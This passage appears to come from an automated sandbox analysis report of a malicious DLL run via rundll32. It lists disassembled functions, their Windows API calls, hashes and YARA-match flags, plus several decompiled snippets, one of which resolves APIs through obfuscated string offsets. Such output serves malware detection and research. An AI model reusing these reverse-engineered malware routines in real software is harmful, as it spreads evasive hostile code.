                                              • Part of subcall function 05DE52C3: StrChrA.SHLWAPI(?,?,7711D3B0,0637C304,00000000,?,05DDCE0C,?,00000020,0637C304), ref: 05DE52E8
                                              • Part of subcall function 05DE52C3: StrTrimA.SHLWAPI(?,05DF4FC4,00000000,?,05DDCE0C,?,00000020,0637C304), ref: 05DE5307
                                              • Part of subcall function 05DE52C3: StrChrA.SHLWAPI(?,?,?,05DDCE0C,?,00000020,0637C304), ref: 05DE5313
                                            • HeapFree.KERNEL32(00000000,00000000,0000000C,00000020,00000000), ref: 05DD976D
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$AllocateFreeTrimlstrlenmemcpy
                                            • String ID:
                                            • API String ID: 3208927540-0
                                            • Opcode ID: c30427c47a68575b2ccb3ab1ef3978a1875ede855efa02c8fb8affbd65d7a76c
                                            • Instruction ID: b7561774ecdfe8270f610e989a41d87df0043f34feed2199388e34a2900f857b
                                            • Opcode Fuzzy Hash: c30427c47a68575b2ccb3ab1ef3978a1875ede855efa02c8fb8affbd65d7a76c
                                            • Instruction Fuzzy Hash: FA012B32704305BBE7216F25EC99F2BBF69FB80751F004427F64B95290CBA1C8898770
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD3383 Relevance: 6.0, APIs: 4, Instructions: 49sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlEnterCriticalSection.NTDLL(05DF9448), ref: 05DD338E
                                            • Sleep.KERNEL32(0000000A), ref: 05DD3398
                                            • SetEvent.KERNEL32 ref: 05DD33EF
                                            • RtlLeaveCriticalSection.NTDLL(05DF9448), ref: 05DD340E
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalSection$EnterEventLeaveSleep
                                            • String ID:
                                            • API String ID: 1925615494-0
                                            • Opcode ID: 5291283712a6e8ff7365b1f45585b587550e20b95d5ac062ae4f57522064b2a5
                                            • Instruction ID: 42674cb5248701f61b886bcf29de16272e1f44af69e0e0c01250c8e6367d6532
                                            • Opcode Fuzzy Hash: 5291283712a6e8ff7365b1f45585b587550e20b95d5ac062ae4f57522064b2a5
                                            • Instruction Fuzzy Hash: 7C014071A54205FBDB009BA9ED4AF6A7FA8FB04755F004423F60596280DF749904CB72
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDFAA8 Relevance: 6.0, APIs: 4, Instructions: 48fileCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DD7C54: lstrlen.KERNEL32(?,?,00000000,05DDFABE), ref: 05DD7C59
                                              • Part of subcall function 05DD7C54: RtlAllocateHeap.NTDLL(00000000,-0000000C), ref: 05DD7C6E
                                              • Part of subcall function 05DD7C54: wsprintfA.USER32 ref: 05DD7C8A
                                              • Part of subcall function 05DD7C54: HeapFree.KERNEL32(00000000,00000000,00000000,000000FF), ref: 05DD7CA6
                                            • CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 05DDFAD6
                                            • GetFileSize.KERNEL32(00000000,00000000), ref: 05DDFAE5
                                            • CloseHandle.KERNEL32(00000000), ref: 05DDFAEF
                                            • GetLastError.KERNEL32 ref: 05DDFAF7
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FileHeap$AllocateCloseCreateErrorFreeHandleLastSizelstrlenwsprintf
                                            • String ID:
                                            • API String ID: 4042893638-0
                                            • Opcode ID: 7b90e087d7a709cf24a82879f9d5a06285939e46baeb3fa0944582065df072ee
                                            • Instruction ID: 562629d16cf898fa4b7701d100ca5b5eb021bdbb4226f6a0530345c88b78373b
                                            • Opcode Fuzzy Hash: 7b90e087d7a709cf24a82879f9d5a06285939e46baeb3fa0944582065df072ee
                                            • Instruction Fuzzy Hash: E4F08132205214BADB216F69EC8EF9BBE6DEF416A1F104117F50AD5180CA74868487B5
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEFE03 Relevance: 6.0, APIs: 4, Instructions: 41filestringsynchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrcatW.KERNEL32(?,?), ref: 05DEFE15
                                              • Part of subcall function 05DD3486: CreateFileW.KERNEL32(?,C0000000,0000FDE9,00000000,00000001,00000080,00000000,00000008,00000000,0000FDE9,?), ref: 05DD34C6
                                              • Part of subcall function 05DD3486: GetLastError.KERNEL32 ref: 05DD34D0
                                              • Part of subcall function 05DD3486: WaitForSingleObject.KERNEL32(000000C8), ref: 05DD34F5
                                              • Part of subcall function 05DD3486: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000001,00000080,00000000), ref: 05DD3518
                                              • Part of subcall function 05DD3486: SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 05DD3540
                                              • Part of subcall function 05DD3486: WriteFile.KERNEL32(?,00001388,?,?,00000000), ref: 05DD3555
                                              • Part of subcall function 05DD3486: SetEndOfFile.KERNEL32(?), ref: 05DD3562
                                              • Part of subcall function 05DD3486: CloseHandle.KERNEL32(?), ref: 05DD357A
                                            • WaitForSingleObject.KERNEL32(00002710,?,00001000,?,00000005,?,05DEFA24,?,?,00001000,?,?,00001000), ref: 05DEFE38
                                            • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,05DEFA24,?,?,00001000,?,?,00001000), ref: 05DEFE5A
                                            • GetLastError.KERNEL32(?,05DEFA24,?,?,00001000,?,?,00001000), ref: 05DEFE6E
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$Create$ErrorLastObjectSingleWait$CloseHandlePointerWritelstrcat
                                            • String ID:
                                            • API String ID: 3370347312-0
                                            • Opcode ID: aca186fc1dcdcd68a2e30f58030bcf0993364a5573432af9d26edea0975fb08b
                                            • Instruction ID: 13b2bf5193d54a0b637bbf796d2516110d219ccdcad4a2542d10836d06aefcb6
                                            • Opcode Fuzzy Hash: aca186fc1dcdcd68a2e30f58030bcf0993364a5573432af9d26edea0975fb08b
                                            • Instruction Fuzzy Hash: D5F0AF32245205BBDB216F689C0AFAF3E26EF15B50F104416FA42E52D1DB71A2618BB9
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDE084 Relevance: 6.0, APIs: 4, Instructions: 41memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • InterlockedExchange.KERNEL32(05DF9080,00000000), ref: 05DDE090
                                            • RtlAllocateHeap.NTDLL(00000000,0000002A), ref: 05DDE0AB
                                            • lstrcpy.KERNEL32(00000000,?), ref: 05DDE0D4
                                            • HeapFree.KERNEL32(00000000,00000000,?,00000000), ref: 05DDE0F5
                                              • Part of subcall function 05DD608A: SetEvent.KERNEL32(?,?,05DEF846), ref: 05DD609F
                                              • Part of subcall function 05DD608A: WaitForSingleObject.KERNEL32(?,000000FF,?,?,05DEF846), ref: 05DD60BF
                                              • Part of subcall function 05DD608A: CloseHandle.KERNEL32(00000000,?,05DEF846), ref: 05DD60C8
                                              • Part of subcall function 05DD608A: CloseHandle.KERNEL32(00000000,?,?,05DEF846), ref: 05DD60D2
                                              • Part of subcall function 05DD608A: RtlEnterCriticalSection.NTDLL(?), ref: 05DD60DA
                                              • Part of subcall function 05DD608A: RtlLeaveCriticalSection.NTDLL(?), ref: 05DD60F2
                                              • Part of subcall function 05DD608A: CloseHandle.KERNEL32(?), ref: 05DD610E
                                              • Part of subcall function 05DD608A: LocalFree.KERNEL32(?), ref: 05DD6119
                                              • Part of subcall function 05DD608A: RtlDeleteCriticalSection.NTDLL(?), ref: 05DD6123
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseCriticalHandleSection$FreeHeap$AllocateDeleteEnterEventExchangeInterlockedLeaveLocalObjectSingleWaitlstrcpy
                                            • String ID:
                                            • API String ID: 1103286547-0
                                            • Opcode ID: 459a2742e9852f56de452685315dd3182d49e17a97bf73bd93aff73830feed37
                                            • Instruction ID: 9516fff551434533e82c0cd62eaa2d1a7194e36a018cd29cf1da75e83e864cb1
                                            • Opcode Fuzzy Hash: 459a2742e9852f56de452685315dd3182d49e17a97bf73bd93aff73830feed37
                                            • Instruction Fuzzy Hash: A8F06232B6121167DA306769EC1EF4B3F29EB84B61F050427F706DA390CD6588C5DB75
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE6471 Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                                            Download Yara Rule
                                            APIs
                                            • memset.NTDLL ref: 05DE647F
                                            • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,05DEA696,00000000,00000000,00000000,00000000,?,00000008,?,00000000,00000000), ref: 05DE6494
                                            • CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,05DDD3E9,?,?), ref: 05DE64A1
                                            • CloseHandle.KERNEL32(?,?,?,?,05DDD3E9,?,?), ref: 05DE64B3
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CreateEvent$CloseHandlememset
                                            • String ID:
                                            • API String ID: 2812548120-0
                                            • Opcode ID: 373860242f68c2f411ac3ecc5ced52d092970e113bde1d5fd84bd8d7a435b8f4
                                            • Instruction ID: 5ebf6c4797f600baafbbc1bcc891d8e7917df79c83e8cd95fe997ffebca2048e
                                            • Opcode Fuzzy Hash: 373860242f68c2f411ac3ecc5ced52d092970e113bde1d5fd84bd8d7a435b8f4
                                            • Instruction Fuzzy Hash: 51F05EB510870C7FD320AF26ECC4C27BBACFB92198B11892FF14382601DA75E8048AA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD5EAE Relevance: 6.0, APIs: 4, Instructions: 40memorythreadtimeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DD5EDF
                                            • RtlExitUserThread.NTDLL(00000000), ref: 05DD5EF2
                                            • GetSystemTimeAsFileTime.KERNEL32(?), ref: 05DD5F03
                                            • _aulldiv.NTDLL(?,?,00002710,00000000), ref: 05DD5F16
                                              • Part of subcall function 05DEA952: lstrlen.KERNEL32(05DDB047,00000000,00000000,00000000,?,05DF090A,?,05DDB047,00000000), ref: 05DEA968
                                              • Part of subcall function 05DEA952: lstrlen.KERNEL32(?,?,05DF090A,?,05DDB047,00000000), ref: 05DEA96F
                                              • Part of subcall function 05DEA952: RtlAllocateHeap.NTDLL(00000000,00000029), ref: 05DEA97D
                                              • Part of subcall function 05DEA952: wsprintfA.USER32 ref: 05DEA99F
                                              • Part of subcall function 05DEA952: HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000006,?,?,?,00000000), ref: 05DEA9D0
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$FreeTimelstrlen$AllocateExitFileSystemThreadUser_aulldivwsprintf
                                            • String ID:
                                            • API String ID: 157450322-0
                                            • Opcode ID: bdfc4dba52b86f297cc1eda1344997de569624c228f281972a1ed3327b38f309
                                            • Instruction ID: 21094185f77a2734d6957ca772e3024e3595f088e98625e040a5551cbb08eb42
                                            • Opcode Fuzzy Hash: bdfc4dba52b86f297cc1eda1344997de569624c228f281972a1ed3327b38f309
                                            • Instruction Fuzzy Hash: 8CF08C32910204BFDB115BA9DC0EF8B7FBCEB45320F050467F21A932A0CB70A881CB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB24BC Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB24BC(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}






                                            0x04ab24c6
                                            0x04ab24ca
                                            0x04ab24df
                                            0x04ab24e1
                                            0x04ab24e6
                                            0x04ab24ec
                                            0x04ab24ee
                                            0x04ab24f3
                                            0x04ab24fe
                                            0x04ab24f5
                                            0x04ab24f5
                                            0x04ab24f5
                                            0x04ab24f3
                                            0x04ab250c

                                            APIs
                                            • memset.NTDLL ref: 04AB24CA
                                            • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,76F081D0), ref: 04AB24DF
                                            • CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 04AB24EC
                                            • CloseHandle.KERNEL32(?), ref: 04AB24FE
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: CreateEvent$CloseHandlememset
                                            • String ID:
                                            • API String ID: 2812548120-0
                                            • Opcode ID: 8d8f4d329ad3437b677f4f07d3e1c6310cf340a4572c1af227a8e32d6dafacbe
                                            • Instruction ID: 70da1fcc68f472205d423eb01a2b8952c64eedccb73f624bc521facff0f293ec
                                            • Opcode Fuzzy Hash: 8d8f4d329ad3437b677f4f07d3e1c6310cf340a4572c1af227a8e32d6dafacbe
                                            • Instruction Fuzzy Hash: CEF089F110470C7FD3105F25DCC4D67BBACEB5519C711496EF18681512D675BC054AA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD709B Relevance: 6.0, APIs: 4, Instructions: 39filesynchronizationpipeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileA.KERNEL32(C0000000,00000000,00000000,00000003,40000000,00000000,00000001,0000003A,05DE9299,000000FF,0637B7F0,?,?,05DEBB0E,0000003A,0637B7F0), ref: 05DD70B7
                                            • GetLastError.KERNEL32(?,?,05DEBB0E,0000003A,0637B7F0,?,?,?,05DD6B9D,00000001,00000000,?), ref: 05DD70C2
                                            • WaitNamedPipeA.KERNEL32(00002710), ref: 05DD70E4
                                            • WaitForSingleObject.KERNEL32(00000000,?,?,05DEBB0E,0000003A,0637B7F0,?,?,?,05DD6B9D,00000001,00000000,?), ref: 05DD70F2
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Wait$CreateErrorFileLastNamedObjectPipeSingle
                                            • String ID:
                                            • API String ID: 4211439915-0
                                            • Opcode ID: d0b6fdbc8f31d68ea98570598136be7ec62427e778fb03e8fceada2c59a1a04c
                                            • Instruction ID: 132c67a7c8d4cf662f11723b72c72df8040d69327e36e63f86c2abd9fe96cfb8
                                            • Opcode Fuzzy Hash: d0b6fdbc8f31d68ea98570598136be7ec62427e778fb03e8fceada2c59a1a04c
                                            • Instruction Fuzzy Hash: BFF09632A06120ABD631166CEC9EF97BF25EB41371F1242B3F91AE63D0DA314C91C760
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD7C54 Relevance: 6.0, APIs: 4, Instructions: 38memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(?,?,00000000,05DDFABE), ref: 05DD7C59
                                            • RtlAllocateHeap.NTDLL(00000000,-0000000C), ref: 05DD7C6E
                                            • wsprintfA.USER32 ref: 05DD7C8A
                                              • Part of subcall function 05DDB968: memset.NTDLL ref: 05DDB97D
                                              • Part of subcall function 05DDB968: lstrlenW.KERNEL32(00000000,00000000,00000000,772FDBB0,00000020,00000000), ref: 05DDB9B6
                                              • Part of subcall function 05DDB968: wcstombs.NTDLL ref: 05DDB9C0
                                              • Part of subcall function 05DDB968: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,0C000000,00000000,00000000,00000044,?,00000000,772FDBB0,00000020,00000000), ref: 05DDB9F1
                                              • Part of subcall function 05DDB968: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,05DDB8C3), ref: 05DDBA1D
                                              • Part of subcall function 05DDB968: TerminateProcess.KERNEL32(?,000003E5), ref: 05DDBA33
                                              • Part of subcall function 05DDB968: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,05DDB8C3), ref: 05DDBA47
                                              • Part of subcall function 05DDB968: CloseHandle.KERNEL32(?), ref: 05DDBA7A
                                              • Part of subcall function 05DDB968: CloseHandle.KERNEL32(?), ref: 05DDBA7F
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,000000FF), ref: 05DD7CA6
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseHandleHeapMultipleObjectsProcessWaitlstrlen$AllocateCreateFreeTerminatememsetwcstombswsprintf
                                            • String ID:
                                            • API String ID: 1624158581-0
                                            • Opcode ID: 5036110a728c2c752df46d5ed8d86cc4b2d9e6a35b52fbca86c9f8f13c192c3c
                                            • Instruction ID: c21bdda9c64f1f6854dc4124ef20bd59ef6767ea286e98db84767fda1154484c
                                            • Opcode Fuzzy Hash: 5036110a728c2c752df46d5ed8d86cc4b2d9e6a35b52fbca86c9f8f13c192c3c
                                            • Instruction Fuzzy Hash: 04F03A32A11110BBDA21172DFC4AF9B7EADDBC2A21B150163F906D63A0DA2089858BB1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDCDBF Relevance: 6.0, APIs: 4, Instructions: 30sleepmemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlEnterCriticalSection.NTDLL(0637C2D0), ref: 05DDCDC8
                                            • Sleep.KERNEL32(0000000A), ref: 05DDCDD2
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DDCDFA
                                            • RtlLeaveCriticalSection.NTDLL(0637C2D0), ref: 05DDCE18
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                                            • String ID:
                                            • API String ID: 58946197-0
                                            • Opcode ID: d7e60b5861c9d91de1a06f7808cf68c660bbae890bfd64a00e98006c791080bc
                                            • Instruction ID: be2fa0ca3cdf2accf5fbcd42c914878b0216520616c3d5eb00b022bb3688e1d5
                                            • Opcode Fuzzy Hash: d7e60b5861c9d91de1a06f7808cf68c660bbae890bfd64a00e98006c791080bc
                                            • Instruction Fuzzy Hash: A1F05E71A64241AFEB109BACEC4AF1B7FE5EF10740F048803F506C63A1CA30E894CB65
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB5976 Relevance: 6.0, APIs: 4, Instructions: 29memoryCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB5976() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x4aba30c; // 0x2cc
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x4aba35c; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x4aba30c; // 0x2cc
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x4aba2d8; // 0x5230000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}








                                            0x04ab5976
                                            0x04ab597d
                                            0x04ab59c7
                                            0x04ab59c9
                                            0x04ab59c9
                                            0x04ab5981
                                            0x04ab5987
                                            0x04ab598c
                                            0x04ab5990
                                            0x04ab5996
                                            0x04ab599d
                                            0x00000000
                                            0x00000000
                                            0x04ab599f
                                            0x04ab59a4
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab59a4
                                            0x04ab59a6
                                            0x04ab59ae
                                            0x04ab59b1
                                            0x04ab59b1
                                            0x04ab59b7
                                            0x04ab59be
                                            0x04ab59c1
                                            0x04ab59c1
                                            0x00000000

                                            APIs
                                            • SetEvent.KERNEL32(000002CC,00000001,04AB3DC4), ref: 04AB5981
                                            • SleepEx.KERNEL32(00000064,00000001), ref: 04AB5990
                                            • CloseHandle.KERNEL32(000002CC), ref: 04AB59B1
                                            • HeapDestroy.KERNEL32(05230000), ref: 04AB59C1
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: CloseDestroyEventHandleHeapSleep
                                            • String ID:
                                            • API String ID: 4109453060-0
                                            • Opcode ID: e75680eb2510f07909651420bebb8220c1444d13d37c55710e251d355a46bb86
                                            • Instruction ID: 2f73b42a86a9fb9d692b88e2eaef159d2ed83b3116a90eacee6eff01e0953c6e
                                            • Opcode Fuzzy Hash: e75680eb2510f07909651420bebb8220c1444d13d37c55710e251d355a46bb86
                                            • Instruction Fuzzy Hash: 89F01CB5F01711ABEB205B359848BD737ECEB24775B080110BD80D72A3CB68EC428AE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE2993 Relevance: 6.0, APIs: 4, Instructions: 28sleepmemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlEnterCriticalSection.NTDLL(0637C2D0), ref: 05DE299C
                                            • Sleep.KERNEL32(0000000A), ref: 05DE29A6
                                            • HeapFree.KERNEL32(00000000), ref: 05DE29D4
                                            • RtlLeaveCriticalSection.NTDLL(0637C2D0), ref: 05DE29E9
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                                            • String ID:
                                            • API String ID: 58946197-0
                                            • Opcode ID: 49a76910c9ff4d9197e0f1c19ac1d4e752e3fa04bec360c37edfbbc2f3d7954e
                                            • Instruction ID: 40504305b735e443918ad7ff30ce009d78ad02434025603b5f49fa0f290b67cd
                                            • Opcode Fuzzy Hash: 49a76910c9ff4d9197e0f1c19ac1d4e752e3fa04bec360c37edfbbc2f3d7954e
                                            • Instruction Fuzzy Hash: 52F0DA78664641DFEB08EB5CE89BF267BF5AB44700B459417F80287390CE30EC91CB15
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEE931 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetVersionExA.KERNEL32(?,00000000), ref: 05DEE94A
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • wsprintfA.USER32 ref: 05DEE9B8
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AllocateHeapVersionwsprintf
                                            • String ID: v
                                            • API String ID: 3641471311-1801730948
                                            • Opcode ID: 1da59a8106096a0f3d8f73a44dc1f69ac823acd99023bab836fb8aed4f4219f2
                                            • Instruction ID: a6feb4507c5b82c452ccdf4e83f1c9ecb22f7e5d9a87a18d463431ddbc980d35
                                            • Opcode Fuzzy Hash: 1da59a8106096a0f3d8f73a44dc1f69ac823acd99023bab836fb8aed4f4219f2
                                            • Instruction Fuzzy Hash: 10117072D141299BDF20AFA8DC069FEBBF9FF04205F044166F844E6241E73989449BA4
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB6729 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35libraryloaderCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 58%
                                            			E04AB6729(void* __ecx) {
				signed int _v8;
				_Unknown_base(*)()* _t9;
				signed int _t11;
				intOrPtr _t12;
				struct HINSTANCE__* _t14;
				intOrPtr _t17;
				intOrPtr _t20;

				_t9 =  *0x4aba340;
				_v8 = _v8 & 0x00000000;
				_t20 =  *0x4aba2f4; // 0x2d0
				if(_t9 != 0) {
					L2:
					if(_t20 != 0) {
						_t11 =  *_t9(_t20,  &_v8);
						if(_t11 == 0) {
							_v8 = _v8 & _t11;
						}
					}
					L5:
					return _v8;
				}
				_t12 =  *0x4aba348; // 0xb6d5a8
				_t3 = _t12 + 0x4abb0af; // 0x4e52454b
				_t14 = GetModuleHandleA(_t3);
				_t17 =  *0x4aba348; // 0xb6d5a8
				_t4 = _t17 + 0x4abb9e6; // 0x6f577349
				 *0x4aba314 = _t14;
				_t9 = GetProcAddress(_t14, _t4);
				 *0x4aba340 = _t9;
				if(_t9 == 0) {
					goto L5;
				}
				goto L2;
			}










                                            0x04ab672d
                                            0x04ab6732
                                            0x04ab6737
                                            0x04ab673f
                                            0x04ab6775
                                            0x04ab6777
                                            0x04ab677e
                                            0x04ab6782
                                            0x04ab6784
                                            0x04ab6784
                                            0x04ab6782
                                            0x04ab6787
                                            0x04ab678c
                                            0x04ab678c
                                            0x04ab6741
                                            0x04ab6746
                                            0x04ab674d
                                            0x04ab6753
                                            0x04ab6759
                                            0x04ab6761
                                            0x04ab6766
                                            0x04ab676c
                                            0x04ab6773
                                            0x00000000
                                            0x00000000
                                            0x00000000

                                            APIs
                                            • GetModuleHandleA.KERNEL32(4E52454B,00000001,?,?,04AB3D6A,?,?), ref: 04AB674D
                                            • GetProcAddress.KERNEL32(00000000,6F577349), ref: 04AB6766
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
